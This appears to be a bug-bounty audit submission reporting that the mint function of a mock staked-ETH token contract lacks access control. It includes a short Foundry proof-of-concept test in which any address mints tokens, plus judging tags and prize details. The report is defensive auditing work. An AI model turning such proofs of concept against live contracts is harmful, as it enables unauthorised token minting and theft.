Submission Details
Severity:
leak of access control anyone can mint StETHMock
Summary
any one can call mint on StETHMock.sol
Vulnerability Details
the mint function on StETHMock.sol is public with no access controal allow any one to call it and mint StETHMock
Impact
mint free StETHMock
##Poc
// SPDX-License-Identifier: UNLICENSED
import {Test, console2} from "forge-std/Test.sol";
import "forge-std/console.sol";
import {StETHMock} from "../src/StETHMock.sol";
contract StETHMockTest is Test {
StETHMock public sth;
function setUp() public {
sth = new StETHMock();
}
function test_add() public{
address user = makeAddr("user");
vm.startPrank(user);
sth.mint(user,1e18);
vm.stopPrank();
sth.balanceOf(user);
}
}
Tools Used
forge
Recommendations
Updates
Lead Judging Commences
inallhonesty
over 1 year ago
inallhonesty over 1 year ago
Submission Judgement Published Assigned finding tags:
Lack of access control in `StETHMock:mint` and `WStETHMock::mint`
Prize pool breakdown
Total prize
22,500 USDC
nSLOC
1,05421 USDC / LOC
20,000 USDC
2,500 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.